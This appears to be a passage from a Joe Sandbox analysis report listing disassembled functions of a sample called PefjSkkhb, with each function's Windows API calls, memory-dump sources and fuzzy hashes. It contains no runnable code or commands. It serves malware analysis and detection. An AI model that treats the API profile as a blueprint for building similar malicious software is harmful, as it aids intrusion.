Instruction ID: 087637300050247b7bdc7b524c13fe4ef2516ba8fdb971bcc39002e01acd10e7
Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction Fuzzy Hash: BC51D322A4D2D152FB61AF31510967EAF90FB46BE4F8D8074DA8A47B46CF2AF450C360

Function 00007FF7C0EC8E18 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF7C0EC8E69
GetKeyboardState.USER32 ref: 00007FF7C0EC8E7D
SetKeyboardState.USER32 ref: 00007FF7C0EC8ECC
PostMessageW.USER32 ref: 00007FF7C0EC8EF9
PostMessageW.USER32 ref: 00007FF7C0EC8F21
PostMessageW.USER32 ref: 00007FF7C0EC8F6C
PostMessageW.USER32 ref: 00007FF7C0EC8F98

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction ID: 57406929e7c790f69f5f8d5863244985b1d1cd093d06535f4cac25477ba860f3
Opcode Fuzzy Hash: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction Fuzzy Hash: 4C51D222A0C2D156F761BF71560067EAF61FB46BD4F888079DA8947F46CF1AF45483B0

Function 00007FF7C0EDDBF0 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF7C0EDDC5F
HttpOpenRequestW.WININET ref: 00007FF7C0EDDCA9
InternetCloseHandle.WININET ref: 00007FF7C0EDDDC0

Part of subcall function 00007FF7C0EDEAB8: GetLastError.KERNEL32 ref: 00007FF7C0EDEAD4
Part of subcall function 00007FF7C0EDEAB8: SetEvent.KERNEL32 ref: 00007FF7C0EDEAE9

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Internet$CloseConnectErrorEventHandleHttpLastOpenRequest
String ID:
API String ID: 3401586794-0
Opcode ID: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction ID: 414038a513b06cf93c4c930df1dc123f905af823e053fd736c46e6caf0a05755
Opcode Fuzzy Hash: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction Fuzzy Hash: F351E332A0878286FB14FF21A904AAEA7A1FB48BD8F984131DE0D47B44DF3DE455C790

Function 00007FF7C0EC4860 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124comlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EBB748: CLSIDFromProgID.OLE32 ref: 00007FF7C0EBB771
Part of subcall function 00007FF7C0EBB748: ProgIDFromCLSID.OLE32 ref: 00007FF7C0EBB790
Part of subcall function 00007FF7C0EBB748: lstrcmpiW.KERNEL32 ref: 00007FF7C0EBB7A2
Part of subcall function 00007FF7C0EBB748: CoTaskMemFree.OLE32 ref: 00007FF7C0EBB7B4

IIDFromString.OLE32 ref: 00007FF7C0EC48EF
CoCreateInstance.OLE32 ref: 00007FF7C0EC4931
SetErrorMode.KERNEL32 ref: 00007FF7C0EC496D
GetProcAddress.KERNEL32 ref: 00007FF7C0EC4983
SetErrorMode.KERNEL32 ref: 00007FF7C0EC4A15

Strings

DllGetClassObject, xrefs: 00007FF7C0EC4973

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
String ID: DllGetClassObject
API String ID: 668425406-1075368562
Opcode ID: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction ID: b74beebe6a2019ed4c1c266c6c7cbca53366f2807dd062cee4fa266f192987a0
Opcode Fuzzy Hash: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction Fuzzy Hash: B4516AA2A4CB4686EB14BF16E540369A3A0FB84BA4F848134DB5D87B45EF7DF094C790

Function 00007FF7C0EF9248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7C0EF928B
GetWindowLongW.USER32 ref: 00007FF7C0EF9313
SendMessageW.USER32 ref: 00007FF7C0EF935A
SendMessageW.USER32 ref: 00007FF7C0EF9389
GetWindowLongW.USER32 ref: 00007FF7C0EF93A0
SetWindowLongPtrW.USER32(?,?,?,00007FF7C0EFDF83), ref: 00007FF7C0EF93C4

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: LongMessageSendWindow
String ID:
API String ID: 3360111000-0
Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction ID: 76b5ecf9cbc0a1912115a7257ca38402441499bf1744af9c9968ccba34cd59c3
Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction Fuzzy Hash: C6418F31A49A4585EB60AF59E490679B360FBC4FA4F944132CE5E83BA4CF3DF4858360

Function 00007FF7C0EE37A8 Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EE5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF7C0EE37FB), ref: 00007FF7C0EE5E4D

socket.WSOCK32 ref: 00007FF7C0EE3827
WSAGetLastError.WSOCK32 ref: 00007FF7C0EE3836

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction ID: b24042e126fbc2db1aa28f9a70687522703437ed080f0e207df995dd69a7f8b7
Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction Fuzzy Hash: 93419372A4C68682E720BF25A4482ADB361FB84BB4F844631DE6E837D5CF3CE545C790

Function 00007FF7C0EFA884 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00007FF7C0EFA8D1
SetMenu.USER32 ref: 00007FF7C0EFA8E4
GetMenuItemInfoW.USER32 ref: 00007FF7C0EFA977
IsMenu.USER32 ref: 00007FF7C0EFA991
CreatePopupMenu.USER32 ref: 00007FF7C0EFA99B
InsertMenuItemW.USER32 ref: 00007FF7C0EFA9D1
DrawMenuBar.USER32 ref: 00007FF7C0EFA9DA

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID:
API String ID: 161812096-0
Opcode ID: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
Instruction ID: 88ce0aa5a2dcdc50c62f625b93d029fc32e2840db65ff8affb959aa3a7cd535c
Opcode Fuzzy Hash: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
Instruction Fuzzy Hash: 3D41A076B04B1589E750EF66E4806AD73B0FB84BA8F998031DE4D87764CF78E485C7A0

Function 00007FF7C0EF15C4 Relevance: 10.6, APIs: 7, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32 ref: 00007FF7C0EF161B
RegOpenKeyExW.ADVAPI32 ref: 00007FF7C0EF164F
FreeLibrary.KERNEL32 ref: 00007FF7C0EF1742

Part of subcall function 00007FF7C0EF15C4: RegCloseKey.ADVAPI32 ref: 00007FF7C0EF1675
Part of subcall function 00007FF7C0EF15C4: FreeLibrary.KERNEL32 ref: 00007FF7C0EF16D5
Part of subcall function 00007FF7C0EF15C4: RegEnumKeyExW.ADVAPI32 ref: 00007FF7C0EF1712

RegDeleteKeyW.ADVAPI32 ref: 00007FF7C0EF16C1

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
Instruction ID: 7d0c0ea2cc018308a091d5b98a3d06d8d6a12726d5c0e29e045cde72ea43b12e
Opcode Fuzzy Hash: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
Instruction Fuzzy Hash: 9941743261CB8585E721EF11E4547EEA360FB89B58FD40131EA4D86B94CF7DE149CB90

Function 00007FF7C0EC4FCC Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7C0EC5028
MultiByteToWideChar.KERNEL32 ref: 00007FF7C0EC5059
SysAllocString.OLEAUT32 ref: 00007FF7C0EC5062
SysAllocString.OLEAUT32 ref: 00007FF7C0EC5086
SysFreeString.OLEAUT32 ref: 00007FF7C0EC5092
StringFromGUID2.OLE32 ref: 00007FF7C0EC50B0
SysAllocString.OLEAUT32 ref: 00007FF7C0EC50BF

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: f21550a20849581d29996fe50c4ece6234e076094f6ba7ae14899650e1c4ede6
Instruction ID: b1054dc40c6df17201e2143263294131a8ef66b2f6e77213d0f7b44ae9b3bf7a
Opcode Fuzzy Hash: f21550a20849581d29996fe50c4ece6234e076094f6ba7ae14899650e1c4ede6
Instruction Fuzzy Hash: 50317222B48B4585EB24BF16E444169B7A0FB85FE4F888236DE5E83794CF3DF4848794

Function 00007FF7C0EC4EB0 Relevance: 10.6, APIs: 7, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7C0EC4F03
MultiByteToWideChar.KERNEL32 ref: 00007FF7C0EC4F34
SysAllocString.OLEAUT32 ref: 00007FF7C0EC4F3D
SysAllocString.OLEAUT32 ref: 00007FF7C0EC4FA5

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AllocByteCharMultiStringWide
String ID:
API String ID: 3603722519-0
Opcode ID: f7267f201cd2eed9e994b4383ba58dad1097741ddf4df76fdcc74d5d9af1769b
Instruction ID: ccac7ce3bc8854961533ad6a4183e7de06beea09b67bf10a1e47778772fa1464
Opcode Fuzzy Hash: f7267f201cd2eed9e994b4383ba58dad1097741ddf4df76fdcc74d5d9af1769b
Instruction Fuzzy Hash: ED315261B48B8589EB20BF11E444169F3A0FB44FA4F889236DE5D83795CF3DF5948750

Function 00007FF7C0EFAEDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

SendMessageW.USER32 ref: 00007FF7C0EFAF8C
SendMessageW.USER32 ref: 00007FF7C0EFAFA0
SendMessageW.USER32 ref: 00007FF7C0EFAFB4
SendMessageW.USER32 ref: 00007FF7C0EFAFCB
SendMessageW.USER32 ref: 00007FF7C0EFAFE3

Strings

Msctls_Progress32, xrefs: 00007FF7C0EFAF12

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction ID: 0d02f634cc2bb5beca20703b255e2214f95ca36cba968676181a3e84c721ca0a
Opcode Fuzzy Hash: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction Fuzzy Hash: 9B315A3660D691C7E3609F25F494B1AB761FB887A0F509239EB9943B58CF3CE485CB50

Function 00007FF7C0ECF9EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7C0ECFA11
CreatePipe.KERNEL32 ref: 00007FF7C0ECFA5D

Strings

nul, xrefs: 00007FF7C0ECFA99

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction ID: 3ee4a91bc2f1694ef80c57d9eb23e59efb460b2e3058f16c93e32c383d8eb48d
Opcode Fuzzy Hash: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction Fuzzy Hash: 91215E32A58B5682EB10AF25D014379E3A0FB85B78F904335DA6E867D5DF7EE0448790

Function 00007FF7C0ECFAFC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7C0ECFB23
CreatePipe.KERNEL32 ref: 00007FF7C0ECFB6F

Strings

nul, xrefs: 00007FF7C0ECFBB3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction ID: 439d8ad65e25cd504cb74476528cbffe5b119e9eaca9b7f46a13b02f546525a4
Opcode Fuzzy Hash: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction Fuzzy Hash: F9318072A58A4682EB10BF24D424379B3A0FB85B78F900331DA7D867D4CF7EE44587A1

Function 00007FF7C0E58F40 Relevance: 9.2, APIs: 6, Instructions: 246COMMON

Download Yara Rule

APIs

GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF7C0E58EBA), ref: 00007FF7C0E58F7D
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF7C0E58EBA), ref: 00007FF7C0E58FBF
ScreenToClient.USER32 ref: 00007FF7C0E58FE5
GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF7C0E58EBA), ref: 00007FF7C0E59175
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF7C0E58EBA), ref: 00007FF7C0E5919E
GetSystemMetrics.USER32 ref: 00007FF7C0E9E005

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Rect$Client$Window$MetricsScreenSystem
String ID:
API String ID: 3220332590-0
Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction ID: 75e33d6d31ab06efd74dd9e63ed2e341cac4cf822f89838e6cfd7d51d8f2de53
Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction Fuzzy Hash: 09A1016AA5865386E724AF3185047FDB3A1FF04B28F941435EE1AC7B94EB3DA840D370

Function 00007FF7C0E7A054 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 492COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E7A08F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E7A460
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E7A701

Strings

p, xrefs: 00007FF7C0E7A19C
f, xrefs: 00007FF7C0E7A194

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p
API String ID: 3215553584-1290815066
Opcode ID: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction ID: 17bfd5e1b42212960ed1409e3c3a98fee3e7257dbd1544fefd4bd99da35f2b82
Opcode Fuzzy Hash: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction Fuzzy Hash: 47128262E4C16385FB20BF58E048579B651EB90774FDC4232D699C67D8DB3DF5408BA0

Function 00007FF7C0EBAD30 Relevance: 9.2, APIs: 6, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF7C0EBAD45
VariantClear.OLEAUT32 ref: 00007FF7C0EBADCA
VariantCopy.OLEAUT32 ref: 00007FF7C0EBADD6
VariantClear.OLEAUT32 ref: 00007FF7C0EBADE1
SysAllocString.OLEAUT32 ref: 00007FF7C0EBAE11
VariantCopy.OLEAUT32 ref: 00007FF7C0EBAE73

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
Instruction ID: 5118118bc7749828a5e84c35dfde1c8c3b5226674fd87eb90aad3b99a876d7b6
Opcode Fuzzy Hash: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
Instruction Fuzzy Hash: AD717171A8865281EE24BF25D1541BCE3A0FF44BA0F988235DF4E87791DF2CF85187A8

Function 00007FF7C0ECD1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0ECCA34: GetFullPathNameW.KERNEL32 ref: 00007FF7C0ECCA62

Part of subcall function 00007FF7C0ECCA34: GetFullPathNameW.KERNEL32 ref: 00007FF7C0ECCA77

Part of subcall function 00007FF7C0ECCED4: GetFileAttributesW.KERNEL32 ref: 00007FF7C0ECCED8

lstrcmpiW.KERNEL32 ref: 00007FF7C0ECD277
MoveFileW.KERNEL32 ref: 00007FF7C0ECD2AA
wcscat.LIBCMT ref: 00007FF7C0ECD2FB
wcscat.LIBCMT ref: 00007FF7C0ECD30E
wcscat.LIBCMT ref: 00007FF7C0ECD324
SHFileOperationW.SHELL32 ref: 00007FF7C0ECD43E

Memory Dump Source

